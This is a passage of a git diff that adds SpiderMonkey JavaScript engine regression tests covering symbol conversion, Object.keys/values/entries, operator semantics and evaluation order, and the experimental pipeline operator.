+assertThrowsInstanceOf(() => Number(sym), TypeError);
+assertThrowsInstanceOf(() => "" + sym, TypeError);
+
+// However, having deleted that method, converting a Symbol wrapper object does
+// work: it calls Symbol.prototype.toString().
+obj = Object(sym);
+assertEq(String(obj), "Symbol(ok)");
+assertEq(`${obj}`, "Symbol(ok)");
+
+// Deleting valueOf as well makes numeric conversion also call toString().
+delete Symbol.prototype.valueOf;
+delete Object.prototype.valueOf;
+assertEq(Number(obj), NaN);
+Symbol.prototype.toString = function () { return "2060"; };
+assertEq(Number(obj), 2060);
+
+// Deleting Date.prototype[Symbol.toPrimitive] changes the result of addition
+// involving Date objects.
+var d = new Date;
+assertEq(0 + d, 0 + d.toString());
+delete Date.prototype[Symbol.toPrimitive];
+assertEq(0 + d, 0 + d.valueOf());
+
+// If @@toPrimitive, .toString, and .valueOf are all missing, we get a
+// particular sequence of property accesses, followed by a TypeError exception.
+var log = [];
+function doGet(target, propertyName, receiver) {
+ log.push(propertyName);
+}
+var handler = new Proxy({}, {
+ get(target, trapName, receiver) {
+ if (trapName !== "get")
+ throw `FAIL: system tried to access handler method: ${String(trapName)}`;
+ return doGet;
+ }
+});
+proxy = new Proxy(Object.create(null), handler);
+assertThrowsInstanceOf(() => proxy == 0, TypeError);
+assertDeepEq(log, [Symbol.toPrimitive, "valueOf", "toString"]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/vacuous-accessor-unqualified-name.js b/js/src/tests/non262/object/vacuous-accessor-unqualified-name.js
new file mode 100644
index 0000000000..768b1050b9
--- /dev/null
+++ b/js/src/tests/non262/object/vacuous-accessor-unqualified-name.js
@@ -0,0 +1,26 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'vacuous-accessor-unqualified-name.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 560216;
+var summary =
+ "Using a name referring to a { get: undefined, set: undefined } descriptor " +
+ "shouldn't assert";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+Object.defineProperty(this, "x", { set: undefined, configurable: true });
+x;
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/values-entries-indexed.js b/js/src/tests/non262/object/values-entries-indexed.js
new file mode 100644
index 0000000000..f4d801c272
--- /dev/null
+++ b/js/src/tests/non262/object/values-entries-indexed.js
@@ -0,0 +1,71 @@
+function assertSameEntries(actual, expected) {
+ assertEq(actual.length, expected.length);
+ for (let i = 0; i < expected.length; ++i)
+ assertEqArray(actual[i], expected[i]);
+}
+
+// Test Object.keys/values/entries on objects with indexed properties.
+
+// Empty dense elements, test with array and plain object.
+{
+ let array = [];
+ assertEqArray(Object.keys(array), []);
+ assertEqArray(Object.values(array), []);
+ assertSameEntries(Object.entries(array), []);
+
+ let object = {};
+ assertEqArray(Object.keys(object), []);
+ assertEqArray(Object.values(object), []);
+ assertSameEntries(Object.entries(object), []);
+}
+
+// Dense elements only, test with array and plain object.
+{
+ let array = [1, 2, 3];
+ assertEqArray(Object.keys(array), ["0", "1", "2"]);
+ assertEqArray(Object.values(array), [1, 2, 3]);
+ assertSameEntries(Object.entries(array), [["0", 1], ["1", 2], ["2", 3]]);
+
+ let object = {0: 4, 1: 5, 2: 6};
+ assertEqArray(Object.keys(object), ["0", "1", "2"]);
+ assertEqArray(Object.values(object), [4, 5, 6]);
+ assertSameEntries(Object.entries(object), [["0", 4], ["1", 5], ["2", 6]]);
+}
+
+// Extra indexed properties only, test with array and plain object.
+{
+ let array = [];
+ Object.defineProperty(array, 0, {configurable: true, enumerable: true, value: 123});
+
+ assertEqArray(Object.keys(array), ["0"]);
+ assertEqArray(Object.values(array), [123]);
+ assertSameEntries(Object.entries(array), [["0", 123]]);
+
+ let object = [];
+ Object.defineProperty(object, 0, {configurable: true, enumerable: true, value: 123});
+
+ assertEqArray(Object.keys(object), ["0"]);
+ assertEqArray(Object.values(object), [123]);
+ assertSameEntries(Object.entries(object), [["0", 123]]);
+}
+
+// Dense and extra indexed properties, test with array and plain object.
+{
+ let array = [1, 2, 3];
+ Object.defineProperty(array, 0, {writable: false});
+
+ assertEqArray(Object.keys(array), ["0", "1", "2"]);
+ assertEqArray(Object.values(array), [1, 2, 3]);
+ assertSameEntries(Object.entries(array), [["0", 1], ["1", 2], ["2", 3]]);
+
+ let object = {0: 4, 1: 5, 2: 6};
+ Object.defineProperty(object, 0, {writable: false});
+
+ assertEqArray(Object.keys(object), ["0", "1", "2"]);
+ assertEqArray(Object.values(object), [4, 5, 6]);
+ assertSameEntries(Object.entries(object), [["0", 4], ["1", 5], ["2", 6]]);
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/values-entries-lazy-props.js b/js/src/tests/non262/object/values-entries-lazy-props.js
new file mode 100644
index 0000000000..0631c048af
--- /dev/null
+++ b/js/src/tests/non262/object/values-entries-lazy-props.js
@@ -0,0 +1,93 @@
+// Return new objects for each test case.
+function makeTestCases() {
+ // Call the resolve hook for arguments/string objects.
+ const resolveIndex = object => 0 in object;
+
+ // Calls the resolve hook for functions.
+ const resolveFunction = object => "length" in object;
+
+ const expected = array => ({
+ keys: Object.keys(array),
+ values: Object.values(array),
+ entries: Object.entries(array),
+ });
+
+ return [
+ // Mapped arguments objects.
+ {
+ object: function(){ return arguments; }(),
+ resolve: resolveIndex,
+ ...expected([]),
+ },
+ {
+ object: function(x){ return arguments; }(1),
+ resolve: resolveIndex,
+ ...expected([1]),
+ },
+ {
+ object: function(x, y, z){ return arguments; }(1, 2, 3),
+ resolve: resolveIndex,
+ ...expected([1, 2, 3]),
+ },
+
+ // Unmapped arguments objects.
+ {
+ object: function(){ "use strict"; return arguments; }(),
+ resolve: resolveIndex,
+ ...expected([]),
+ },
+ {
+ object: function(x){ "use strict"; return arguments; }(1),
+ resolve: resolveIndex,
+ ...expected([1]),
+ },
+ {
+ object: function(x, y, z){ "use strict"; return arguments; }(1, 2, 3),
+ resolve: resolveIndex,
+ ...expected([1, 2, 3]),
+ },
+
+ // String objects.
+ { object: new String(""), resolve: resolveIndex, ...expected([]), },
+ { object: new String("a"), resolve: resolveIndex, ...expected(["a"]), },
+ { object: new String("abc"), resolve: resolveIndex, ...expected(["a","b","c"]), },
+
+ // Function objects.
+ { object: function(){}, resolve: resolveFunction, ...expected([]), },
+ ];
+}
+
+var assertWith = {
+ keys: assertEqArray,
+ values: assertEqArray,
+ entries(actual, expected) {
+ assertEq(actual.length, expected.length);
+ for (let i = 0; i < expected.length; ++i)
+ assertEqArray(actual[i], expected[i]);
+ }
+};
+
+// Test Object.keys/values/entries on objects with enumerate/resolve hooks.
+
+for (let method of ["keys", "values", "entries"]) {
+ let assert = assertWith[method];
+
+ // Call each method twice to test the case when
+ // - the enumerate hook wasn't yet called,
+ // - the enumerate hook was already called.
+ for (let {object, [method]: expected} of makeTestCases()) {
+ assert(Object[method](object), expected);
+ assert(Object[method](object), expected);
+ }
+
+ // Test the case when enumerate wasn't yet called, but a property was already resolved.
+ for (let {object, resolve, [method]: expected} of makeTestCases()) {
+ resolve(object); // Call the resolve hook.
+
+ assert(Object[method](object), expected);
+ assert(Object[method](object), expected);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/values-entries-typedarray.js b/js/src/tests/non262/object/values-entries-typedarray.js
new file mode 100644
index 0000000000..b0ac5a51bb
--- /dev/null
+++ b/js/src/tests/non262/object/values-entries-typedarray.js
@@ -0,0 +1,53 @@
+function assertSameEntries(actual, expected) {
+ assertEq(actual.length, expected.length);
+ for (let i = 0; i < expected.length; ++i)
+ assertEqArray(actual[i], expected[i]);
+}
+
+function throwsTypeError(fn) {
+ try {
+ fn();
+ } catch (e) {
+ assertEq(e instanceof TypeError, true);
+ return true;
+ }
+ return false;
+}
+
+// Non-standard: Accessing elements of detached array buffers should throw, but
+// this is currently not implemented.
+const ACCESS_ON_DETACHED_ARRAY_BUFFER_THROWS = (() => {
+ let ta = new Int32Array(10);
+ detachArrayBuffer(ta.buffer);
+ let throws = throwsTypeError(() => ta[0]);
+ // Ensure [[Get]] and [[GetOwnProperty]] return consistent results.
+ assertEq(throwsTypeError(() => Object.getOwnPropertyDescriptor(ta, 0)), throws);
+ return throws;
+})();
+
+function maybeThrowOnDetached(fn, returnValue) {
+ if (ACCESS_ON_DETACHED_ARRAY_BUFFER_THROWS) {
+ assertThrowsInstanceOf(fn, TypeError);
+ return returnValue;
+ }
+ return fn();
+}
+
+// Ensure Object.keys/values/entries work correctly on typed arrays.
+for (let len of [0, 1, 10]) {
+ let array = new Array(len).fill(1);
+ let ta = new Int32Array(array);
+
+ assertEqArray(Object.keys(ta), Object.keys(array));
+ assertEqArray(Object.values(ta), Object.values(array));
+ assertSameEntries(Object.entries(ta), Object.entries(array));
+
+ detachArrayBuffer(ta.buffer);
+
+ assertEqArray(maybeThrowOnDetached(() => Object.keys(ta), []), []);
+ assertEqArray(maybeThrowOnDetached(() => Object.values(ta), []), []);
+ assertSameEntries(maybeThrowOnDetached(() => Object.entries(ta), []), []);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/values.js b/js/src/tests/non262/object/values.js
new file mode 100644
index 0000000000..189bea7605
--- /dev/null
+++ b/js/src/tests/non262/object/values.js
@@ -0,0 +1,94 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+if ("values" in Object) {
+ assertEq(Object.values.length, 1);
+
+ var o, values;
+
+ o = { a: 3, b: 2 };
+ values = Object.values(o);
+ assertDeepEq(values, [3, 2]);
+
+ o = { get a() { return 17; }, b: 2 };
+ values = Object.values(o),
+ assertDeepEq(values, [17, 2]);
+
+ o = { __iterator__: function() { throw new Error("non-standard __iterator__ called?"); } };
+ values = Object.values(o);
+ assertDeepEq(values, [o.__iterator__]);
+
+ o = { a: 1, b: 2 };
+ delete o.a;
+ o.a = 3;
+ values = Object.values(o);
+ assertDeepEq(values, [2, 3]);
+
+ o = [0, 1, 2];
+ values = Object.values(o);
+ assertDeepEq(values, [0, 1, 2]);
+
+ o = /./.exec("abc");
+ values = Object.values(o);
+ assertDeepEq(values, ["a", 0, "abc", undefined]);
+
+ o = { a: 1, b: 2, c: 3 };
+ delete o.b;
+ o.b = 5;
+ values = Object.values(o);
+ assertDeepEq(values, [1, 3, 5]);
+
+ function f() { }
+ f.prototype.p = 1;
+ o = new f();
+ o.g = 1;
+ values = Object.values(o);
+ assertDeepEq(values, [1]);
+
+ var o = {get a() {delete this.b; return 1}, b: 2, c: 3};
+ values = Object.values(o);
+ assertDeepEq(values, [1, 3]);
+
+ assertThrowsInstanceOf(() => Object.values(), TypeError);
+ assertThrowsInstanceOf(() => Object.values(undefined), TypeError);
+ assertThrowsInstanceOf(() => Object.values(null), TypeError);
+
+ assertDeepEq(Object.values(1), []);
+ assertDeepEq(Object.values(true), []);
+ if (typeof Symbol === "function")
+ assertDeepEq(Object.values(Symbol("foo")), []);
+
+ assertDeepEq(Object.values("foo"), ["f", "o", "o"]);
+
+ values = Object.values({
+ get a(){
+ Object.defineProperty(this, "b", {enumerable: false});
+ return "A";
+ },
+ b: "B"
+ });
+ assertDeepEq(values, ["A"]);
+
+ let ownKeysCallCount = 0;
+ let getOwnPropertyDescriptorCalls = [];
+ let target = { a: 1, b: 2, c: 3 };
+ o = new Proxy(target, {
+ ownKeys() {
+ ownKeysCallCount++;
+ return ["c", "a"];
+ },
+ getOwnPropertyDescriptor(target, key) {
+ getOwnPropertyDescriptorCalls.push(key);
+ return Object.getOwnPropertyDescriptor(target, key);
+ }
+ });
+ values = Object.values(o);
+ assertEq(ownKeysCallCount, 1);
+ assertDeepEq(values, [3, 1]);
+ assertDeepEq(getOwnPropertyDescriptorCalls, ["c", "a"]);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/operators/11.13.1-001.js b/js/src/tests/non262/operators/11.13.1-001.js
new file mode 100644
index 0000000000..ec67f05a65
--- /dev/null
+++ b/js/src/tests/non262/operators/11.13.1-001.js
@@ -0,0 +1,115 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 08 May 2003
+ * SUMMARY: JS should evaluate RHS before binding LHS implicit variable
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=204919
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 204919;
+var summary = 'JS should evaluate RHS before binding LHS implicit variable';
+var TEST_PASSED = 'ReferenceError';
+var TEST_FAILED = 'Generated an error, but NOT a ReferenceError!';
+var TEST_FAILED_BADLY = 'Did not generate ANY error!!!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * global scope -
+ */
+status = inSection(1);
+try
+{
+ x = x;
+ actual = TEST_FAILED_BADLY;
+}
+catch(e)
+{
+ if (e instanceof ReferenceError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+}
+expect = TEST_PASSED;
+addThis();
+
+
+/*
+ * function scope -
+ */
+status = inSection(2);
+try
+{
+ (function() {y = y;})();
+ actual = TEST_FAILED_BADLY;
+}
+catch(e)
+{
+ if (e instanceof ReferenceError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+}
+expect = TEST_PASSED;
+addThis();
+
+
+/*
+ * eval scope -
+ */
+status = inSection(3);
+try
+{
+ eval('z = z');
+ actual = TEST_FAILED_BADLY;
+}
+catch(e)
+{
+ if (e instanceof ReferenceError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+}
+expect = TEST_PASSED;
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/operators/11.13.1-002.js b/js/src/tests/non262/operators/11.13.1-002.js
new file mode 100644
index 0000000000..4ccc4bb1f6
--- /dev/null
+++ b/js/src/tests/non262/operators/11.13.1-002.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 312354;
+var summary = '11.13.1 Simple Assignment should return type of RHS';
+var actual = '';
+var expect = '';
+
+// XXX this test should really test each property of the native
+// objects, but I'm too lazy. Patches accepted.
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var re = /x/g;
+var y = re.lastIndex = "7";
+
+expect = "string";
+actual = typeof y;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/operators/11.4.1-001.js b/js/src/tests/non262/operators/11.4.1-001.js
new file mode 100644
index 0000000000..6bffa6457d
--- /dev/null
+++ b/js/src/tests/non262/operators/11.4.1-001.js
@@ -0,0 +1,83 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 14 April 2003
+ * SUMMARY: |delete x.y| should return |true| if |x| has no property |y|
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=201987
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 201987;
+var summary = '|delete x.y| should return |true| if |x| has no property |y|';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+var x = {};
+actual = delete x.y;
+expect = true;
+addThis();
+
+status = inSection(2);
+actual = delete {}.y;
+expect = true;
+addThis();
+
+status = inSection(3);
+actual = delete "".y;
+expect = true;
+addThis();
+
+status = inSection(4);
+actual = delete /abc/.y;
+expect = true;
+addThis();
+
+status = inSection(5);
+actual = delete (new Date()).y;
+expect = true;
+addThis();
+
+status = inSection(6);
+var x = 99;
+actual = delete x.y;
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/operators/11.4.1-002.js b/js/src/tests/non262/operators/11.4.1-002.js
new file mode 100644
index 0000000000..da4a77ff1a
--- /dev/null
+++ b/js/src/tests/non262/operators/11.4.1-002.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 423300;
+var summary = '11.4.1 - The delete Operator - delete f()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function f() {}
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = true;
+
+ try
+ {
+ actual = delete f();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/operators/browser.js b/js/src/tests/non262/operators/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/operators/browser.js
diff --git a/js/src/tests/non262/operators/instanceof-bound-function-recursion.js b/js/src/tests/non262/operators/instanceof-bound-function-recursion.js
new file mode 100644
index 0000000000..133b84f2f9
--- /dev/null
+++ b/js/src/tests/non262/operators/instanceof-bound-function-recursion.js
@@ -0,0 +1,23 @@
+function f() {}
+
+var fn = f;
+for (var i = 0; i < 100000; ++i) {
+ fn = fn.bind();
+
+ // Ensure we don't fallback to @@hasInstance from %FunctionPrototype%.
+ Object.defineProperty(fn, Symbol.hasInstance, {
+ value: undefined, writable: true, enumerable: true, writable: true
+ });
+
+ // Prevent generating overlong names of the form "bound bound bound [...] f".
+ Object.defineProperty(fn, "name", {
+ value: "", writable: true, enumerable: true, writable: true
+ });
+}
+
+assertThrowsInstanceOf(
+ () => ({}) instanceof fn,
+ Error,
+ "detect runaway recursion delegating instanceof to bound function target");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/operators/order-01.js b/js/src/tests/non262/operators/order-01.js
new file mode 100644
index 0000000000..cab0c9b466
--- /dev/null
+++ b/js/src/tests/non262/operators/order-01.js
@@ -0,0 +1,72 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 433672;
+var summary = 'operator evaluation order';
+var actual = '';
+var expect = '';
+
+function makeObject(label)
+{
+ var o = (function (){});
+
+ o.label = label;
+ o.valueOf = (function() { actual += this.label + ' valueOf, '; return Object.prototype.valueOf.call(this); });
+ o.toString = (function() { actual += this.label + ' toString, '; return Object.prototype.toString.call(this); });
+
+ return o;
+}
+
+operators = [
+ {section: '11.5.1', operator: '*'},
+ {section: '11.5.2', operator: '/'},
+ {section: '11.5.3', operator: '%'},
+ {section: '11.6.1', operator: '+'},
+ {section: '11.6.2', operator: '-'},
+ {section: '11.7.1', operator: '<<'},
+ {section: '11.7.2', operator: '>>'},
+ {section: '11.7.3', operator: '>>>'},
+ {section: '11.8.1', operator: '<'},
+ {section: '11.8.2', operator: '>'},
+ {section: '11.8.3', operator: '<='},
+ {section: '11.8.4', operator: '>='},
+ {section: '11.10', operator: '&'},
+ {section: '11.10', operator: '^'},
+ {section: '11.10', operator: '|'},
+ {section: '11.13.2', operator: '*='},
+ {section: '11.13.2', operator: '/='},
+ {section: '11.13.2', operator: '%='},
+ {section: '11.13.2', operator: '+='},
+ {section: '11.13.2', operator: '<<='},
+ {section: '11.13.2', operator: '>>='},
+ {section: '11.13.2', operator: '>>>='},
+ {section: '11.13.2', operator: '&='},
+ {section: '11.13.2', operator: '^='},
+ {section: '11.13.2', operator: '|='},
+ ];
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < operators.length; i++)
+ {
+ expect = 'left valueOf, left toString, right valueOf, right toString, ';
+ actual = '';
+
+ var left = makeObject('left');
+ var right = makeObject('right');
+
+ eval('left ' + operators[i].operator + ' right');
+
+ reportCompare(expect, actual, summary + ': ' + operators[i].section + ' ' + operators[i].operator);
+ }
+}
diff --git a/js/src/tests/non262/operators/shell.js b/js/src/tests/non262/operators/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/operators/shell.js
diff --git a/js/src/tests/non262/pipeline/browser.js b/js/src/tests/non262/pipeline/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/pipeline/browser.js
diff --git a/js/src/tests/non262/pipeline/eval.js b/js/src/tests/non262/pipeline/eval.js
new file mode 100644
index 0000000000..50f096b0f2
--- /dev/null
+++ b/js/src/tests/non262/pipeline/eval.js
@@ -0,0 +1,19 @@
+const BUGNUMBER = 1405943;
+const summary = "Implement pipeline operator (eval)";
+
+print(BUGNUMBER + ": " + summary);
+
+const testvalue = 10;
+
+if (hasPipeline()) {
+ eval(`
+ // Pipelined eval should be indirect eval call
+ (() => {
+ const testvalue = 20;
+ assertEq("testvalue" |> eval, 10);
+ })();
+ `);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/pipeline/evaluation-order.js b/js/src/tests/non262/pipeline/evaluation-order.js
new file mode 100644
index 0000000000..642ad78f55
--- /dev/null
+++ b/js/src/tests/non262/pipeline/evaluation-order.js
@@ -0,0 +1,18 @@
+const BUGNUMBER = 1405943;
+const summary = "Implement pipeline operator (evaluation order)";
+
+print(BUGNUMBER + ": " + summary);
+
+if (hasPipeline()) {
+ eval(`
+ // It tests evaluation order.
+ // Considering the expression A |> B, A should be evaluated before B.
+ let value = null;
+ const result = (value = 10, "42") |> (value = 20, parseInt);
+ assertEq(result, 42);
+ assertEq(value, 20);
+ `);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/pipeline/parse-error.js b/js/src/tests/non262/pipeline/parse-error.js
new file mode 100644
index 0000000000..ce191651f7
--- /dev/null
+++ b/js/src/tests/non262/pipeline/parse-error.js
@@ -0,0 +1,18 @@
+const BUGNUMBER = 1405943;
+const summary = "Implement pipeline operator (parse error)";
+
+print(BUGNUMBER + ": " + summary);
+
+if (hasPipeline()) {
+ // Invalid Token
+ assertThrowsInstanceOf(() => Function("2 | > parseInt"), SyntaxError);
+ assertThrowsInstanceOf(() => Function("2 ||> parseInt"), SyntaxError);
+ assertThrowsInstanceOf(() => Function("2 |>> parseInt"), SyntaxError);
+ assertThrowsInstanceOf(() => Function("2 <| parseInt"), SyntaxError);
+ // Invalid Syntax
+ assertThrowsInstanceOf(() => Function("2 |>"), SyntaxError);
+ assertThrowsInstanceOf(() => Function("|> parseInt"), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/pipeline/precedence.js b/js/src/tests/non262/pipeline/precedence.js
new file mode 100644
index 0000000000..0ef6ff7281
--- /dev/null
+++ b/js/src/tests/non262/pipeline/precedence.js
@@ -0,0 +1,56 @@
+const BUGNUMBER = 1405943;
+const summary = "Implement pipeline operator (operator precedence)";
+
+print(BUGNUMBER + ": " + summary);
+
+if (hasPipeline()) {
+ // Operator precedence
+ eval(`
+ const double = (n) => n * 2;
+ const increment = (n) => n + 1;
+ const getType = (v) => typeof v;
+ const toString = (v) => v.toString();
+ let a = 8;
+ assertEq(10 |> double |> increment |> double, 42);
+ assertEq(++ a |> double, 18);
+ assertEq(typeof 42 |> toString, "number");
+ assertEq(! true |> toString, "false");
+ assertEq(delete 42 |> toString, "true");
+ assertEq(10 ** 2 |> double, 200);
+ assertEq(10 * 2 |> increment, 21);
+ assertEq(5 + 5 |> double, 20);
+ assertEq(1 << 4 |> double, 32);
+ assertEq(0 < 1 |> toString, "true");
+ assertEq("a" in {} |> toString, "false");
+ assertEq(10 instanceof String |> toString, "false");
+ assertEq(10 == 10 |> toString, "true");
+ assertEq(0b0101 & 0b1101 |> increment, 0b0110);
+ assertEq(false && true |> toString, "false");
+ assertEq(0 |> double ? toString : null, null);
+ assertEq(true ? 20 |> toString : 10, '20');
+ assertEq(true ? 10 : 20 |> toString, 10);
+ a = 10 |> toString;
+ assertEq(a, "10");
+ a = 10;
+ a += 2 |> increment;
+ assertEq(a, 13);
+
+ // Right-side association
+ a = toString;
+ assertThrowsInstanceOf(() => "42" |> parseInt ** 2, TypeError);
+ assertThrowsInstanceOf(() => "42" |> parseInt * 1, TypeError);
+ assertThrowsInstanceOf(() => "42" |> parseInt + 0, TypeError);
+ assertThrowsInstanceOf(() => "42" |> parseInt << 1, TypeError);
+ assertThrowsInstanceOf(() => "42" |> parseInt < 0, TypeError);
+ assertThrowsInstanceOf(() => "42" |> parseInt in {}, TypeError);
+ assertThrowsInstanceOf(() => "42" |> parseInt instanceof String, TypeError);
+ assertThrowsInstanceOf(() => "42" |> parseInt == 255, TypeError);
+ assertThrowsInstanceOf(() => "42" |> parseInt & 0b1111, TypeError);
+ assertThrowsInstanceOf(() => "42" |> parseInt && true, TypeError);
+ assertThrowsInstanceOf(() => Function('"42" |> a = parseInt'), ReferenceError);
+ assertThrowsInstanceOf(() => Function('"42" |> a += parseInt'), ReferenceError);
+ `);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/pipeline/receiver.js b/js/src/tests/non262/pipeline/receiver.js
new file mode 100644
index 0000000000..588a83e169
--- /dev/null
+++ b/js/src/tests/non262/pipeline/receiver.js
@@ -0,0 +1,24 @@
+const BUGNUMBER = 1405943;
+const summary = "Implement pipeline operator (receiver)";
+
+print(BUGNUMBER + ": " + summary);
+
+if (hasPipeline()) {
+ // Receiver
+ eval(`
+ const receiver = {
+ foo: function (value, extra) {
+ assertEq(value, 10);
+ assertEq(extra, undefined);
+ assertEq(arguments.length, 1);
+ assertEq(arguments[0], 10)
+ assertEq(this, receiver);
+ },
+ };
+
+ 10 |> receiver.foo;
+ `);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/pipeline/reflect-parse.js b/js/src/tests/non262/pipeline/reflect-parse.js
new file mode 100644
index 0000000000..247f6657b7
--- /dev/null
+++ b/js/src/tests/non262/pipeline/reflect-parse.js
@@ -0,0 +1,28 @@
+const BUGNUMBER = 1405943;
+const summary = "Implement pipeline operator (Reflect.parse)";
+
+print(BUGNUMBER + ": " + summary);
+
+if (hasPipeline()) {
+ if (typeof Reflect !== "undefined" && Reflect.parse) {
+ const parseTree1 = Reflect.parse("a |> b");
+ assertEq(parseTree1.body[0].type, "ExpressionStatement");
+ assertEq(parseTree1.body[0].expression.type, "BinaryExpression");
+ assertEq(parseTree1.body[0].expression.operator, "|>");
+ assertEq(parseTree1.body[0].expression.left.name, "a");
+ assertEq(parseTree1.body[0].expression.right.name, "b");
+
+ const parseTree2 = Reflect.parse("a |> b |> c");
+ assertEq(parseTree2.body[0].type, "ExpressionStatement");
+ assertEq(parseTree2.body[0].expression.type, "BinaryExpression");
+ assertEq(parseTree2.body[0].expression.operator, "|>");
+ assertEq(parseTree2.body[0].expression.left.type, "BinaryExpression");
+ assertEq(parseTree2.body[0].expression.left.operator, "|>");
+ assertEq(parseTree2.body[0].expression.left.left.name, "a");
+ assertEq(parseTree2.body[0].expression.left.right.name, "b");
+ assertEq(parseTree2.body[0].expression.right.name, "c");
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/pipeline/shell.js b/js/src/tests/non262/pipeline/shell.js
new file mode 100644
index 0000000000..1ee63dd18c
--- /dev/null
+++ b/js/src/tests/non262/pipeline/shell.js
@@ -0,0 +1,9 @@
+function hasPipeline() {
+ try {
+ Function('a |> a');
+ } catch (e) {
+ return false;
+ }
+
+ return true;
+}
diff --git a/js/src/tests/non262/pipeline/type-error.js b/js/src/tests/non262/pipeline/type-error.js
new file mode 100644
index 0000000000..b34cc2712a
--- /dev/null
+++ b/js/src/tests/non262/pipeline/type-error.js
